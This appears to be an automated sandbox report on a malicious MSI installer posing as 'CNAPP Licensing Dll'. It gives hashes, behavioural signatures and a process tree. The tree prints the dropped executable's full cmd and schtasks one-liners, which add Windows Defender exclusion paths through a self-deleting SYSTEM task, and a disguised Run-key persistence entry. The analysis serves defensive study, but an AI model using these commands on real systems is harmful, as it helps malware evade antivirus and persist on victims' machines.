Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
30/07/2026, 12:25
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_30v8014.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_30v8014.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
17 signatures
150 seconds
General
- Target install_30v8014.msi
- Size 7.7MB
- Sample260730-pls9vsxeka
- SHA256 d4d6a10898ec90d57ea9e09192d592df81eefdb9914bb6cd282c0d9640454647
- MD5 32925458d4c613a57b5ed4fb67660d18
- SHA1 b6ced00562c65dbca698e25e0bda0e348ac60d1d
- SHA512 31ad5dab2e095c2e522eee1af2a25bc5c4511893e0f30648d0e9155981362a12d8ea59b51f77cdaa3067dbad4971b6b6cc1ca3b01c0a6d6c0a6b777998db53ca
- SSDEEP 196608:4z8ANmHA+dnKE3Z2Wc0BwNUiNRNto2Xg1Ds:EgHzZsPNUKR7oHDs
- TLSH T1A3863395B8CDA2B1D28BC7748243BC1E7D2A7F54BE22CE0F3799B8002D727556A31785
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\vR16hb = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation DPnOLE.exe - Executes dropped EXE 1 IoCs
pid Process 4800 DPnOLE.exe - Loads dropped DLL 2 IoCs
pid Process 1124 MsiExec.exe 4800 DPnOLE.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\vR16hb\\DPnOLE.exe\"" DPnOLE.exe - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 15 1124 MsiExec.exe 25 1124 MsiExec.exe 32 1124 MsiExec.exe 33 1124 MsiExec.exe 43 1124 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\G: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1676 cmd.exe 1972 cmd.exe 2832 cmd.exe 3668 cmd.exe 4644 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b DPnOLE.exe - Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\Installer\SourceHash{1A6C27A2-FA3D-F13A-46E4-B05FDEE281FB} msiexec.exe File opened for modification C:\Windows\Installer\MSI4E3A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI4EC8.tmp msiexec.exe File created C:\Windows\Installer\e584d31.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\e584d33.msi msiexec.exe File opened for modification C:\Windows\Installer\e584d31.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 4600 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3368 cmd.exe 1876 cmd.exe 3716 cmd.exe 3948 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000020c8f0fe5d92f37a0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000020c8f0fe0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090020c8f0fe000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a20c8f0fe000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d20c8f0fe000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\PackageName = "install_30v8014.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\ProductName = "CNAPP Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\PackageCode = "73FF7211C38B4ED4B91C2368844F5AB4" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\DeploymentFlags = "3" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF\UuueatYAD msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3244 schtasks.exe 3428 schtasks.exe 3044 schtasks.exe 3864 schtasks.exe 4776 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1536 msiexec.exe 1536 msiexec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 1124 MsiExec.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe 4800 DPnOLE.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 656 Process not Found 656 Process not Found 656 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4600 msiexec.exe Token: SeIncreaseQuotaPrivilege 4600 msiexec.exe Token: SeSecurityPrivilege 1536 msiexec.exe Token: SeCreateTokenPrivilege 4600 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4600 msiexec.exe Token: SeLockMemoryPrivilege 4600 msiexec.exe Token: SeIncreaseQuotaPrivilege 4600 msiexec.exe Token: SeMachineAccountPrivilege 4600 msiexec.exe Token: SeTcbPrivilege 4600 msiexec.exe Token: SeSecurityPrivilege 4600 msiexec.exe Token: SeTakeOwnershipPrivilege 4600 msiexec.exe Token: SeLoadDriverPrivilege 4600 msiexec.exe Token: SeSystemProfilePrivilege 4600 msiexec.exe Token: SeSystemtimePrivilege 4600 msiexec.exe Token: SeProfSingleProcessPrivilege 4600 msiexec.exe Token: SeIncBasePriorityPrivilege 4600 msiexec.exe Token: SeCreatePagefilePrivilege 4600 msiexec.exe Token: SeCreatePermanentPrivilege 4600 msiexec.exe Token: SeBackupPrivilege 4600 msiexec.exe Token: SeRestorePrivilege 4600 msiexec.exe Token: SeShutdownPrivilege 4600 msiexec.exe Token: SeDebugPrivilege 4600 msiexec.exe Token: SeAuditPrivilege 4600 msiexec.exe Token: SeSystemEnvironmentPrivilege 4600 msiexec.exe Token: SeChangeNotifyPrivilege 4600 msiexec.exe Token: SeRemoteShutdownPrivilege 4600 msiexec.exe Token: SeUndockPrivilege 4600 msiexec.exe Token: SeSyncAgentPrivilege 4600 msiexec.exe Token: SeEnableDelegationPrivilege 4600 msiexec.exe Token: SeManageVolumePrivilege 4600 msiexec.exe Token: SeImpersonatePrivilege 4600 msiexec.exe Token: SeCreateGlobalPrivilege 4600 msiexec.exe Token: SeBackupPrivilege 4708 vssvc.exe Token: SeRestorePrivilege 4708 vssvc.exe Token: SeAuditPrivilege 4708 vssvc.exe Token: SeBackupPrivilege 1536 msiexec.exe Token: SeRestorePrivilege 1536 msiexec.exe Token: SeRestorePrivilege 1536 msiexec.exe Token: SeTakeOwnershipPrivilege 1536 msiexec.exe Token: SeRestorePrivilege 1536 msiexec.exe Token: SeTakeOwnershipPrivilege 1536 msiexec.exe Token: SeRestorePrivilege 1536 msiexec.exe Token: SeTakeOwnershipPrivilege 1536 msiexec.exe Token: SeBackupPrivilege 2100 srtasks.exe Token: SeRestorePrivilege 2100 srtasks.exe Token: SeSecurityPrivilege 2100 srtasks.exe Token: SeTakeOwnershipPrivilege 2100 srtasks.exe Token: SeBackupPrivilege 2100 srtasks.exe Token: SeRestorePrivilege 2100 srtasks.exe Token: SeSecurityPrivilege 2100 srtasks.exe Token: SeTakeOwnershipPrivilege 2100 srtasks.exe Token: SeRestorePrivilege 1536 msiexec.exe Token: SeTakeOwnershipPrivilege 1536 msiexec.exe Token: SeRestorePrivilege 1536 msiexec.exe Token: SeTakeOwnershipPrivilege 1536 msiexec.exe Token: SeRestorePrivilege 1536 msiexec.exe Token: SeTakeOwnershipPrivilege 1536 msiexec.exe Token: SeRestorePrivilege 1536 msiexec.exe Token: SeTakeOwnershipPrivilege 1536 msiexec.exe Token: SeRestorePrivilege 1536 msiexec.exe Token: SeTakeOwnershipPrivilege 1536 msiexec.exe Token: SeRestorePrivilege 1536 msiexec.exe Token: SeTakeOwnershipPrivilege 1536 msiexec.exe Token: SeRestorePrivilege 1536 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4600 msiexec.exe 4600 msiexec.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 1536 wrote to memory of 2100 1536 msiexec.exe 90 PID 1536 wrote to memory of 1124 1536 msiexec.exe 92 PID 4800 wrote to memory of 3668 4800 DPnOLE.exe 102 PID 3668 wrote to memory of 3864 3668 cmd.exe 105 PID 4800 wrote to memory of 4644 4800 DPnOLE.exe 106 PID 3668 wrote to memory of 2100 3668 cmd.exe 108 PID 4644 wrote to memory of 4776 4644 cmd.exe 110 PID 3668 wrote to memory of 4584 3668 cmd.exe 111 PID 4644 wrote to memory of 2648 4644 cmd.exe 112 PID 4644 wrote to memory of 2944 4644 cmd.exe 114 PID 3948 wrote to memory of 1168 3948 cmd.exe 115 PID 4800 wrote to memory of 1676 4800 DPnOLE.exe 117 PID 1676 wrote to memory of 3244 1676 cmd.exe 120 PID 1676 wrote to memory of 1548 1676 cmd.exe 121 PID 1676 wrote to memory of 4056 1676 cmd.exe 124 PID 3368 wrote to memory of 1992 3368 cmd.exe 125 PID 4800 wrote to memory of 1972 4800 DPnOLE.exe 126 PID 1972 wrote to memory of 3428 1972 cmd.exe 128 PID 1972 wrote to memory of 880 1972 cmd.exe 129 PID 1972 wrote to memory of 4960 1972 cmd.exe 132 PID 1876 wrote to memory of 4516 1876 cmd.exe 133 PID 4800 wrote to memory of 2832 4800 DPnOLE.exe 134 PID 2832 wrote to memory of 3044 2832 cmd.exe 136 PID 2832 wrote to memory of 936 2832 cmd.exe 137 PID 3716 wrote to memory of 2676 3716 cmd.exe 140 PID 2832 wrote to memory of 1456 2832 cmd.exe 141 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_30v8014.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4600
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:2100
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 8A23E1327BAA99656762ADE4DF4CADCA E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1124
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4708
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C:\Users\Public\vR16hb\DPnOLE.exeC:\Users\Public\vR16hb\DPnOLE.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vR16hb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3668 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vR16hb\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3864
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2100
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4584
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4644 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4776
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2648
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2944
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3244
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1548
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3428
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:880
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4960
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2832 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3044
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:936
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1456
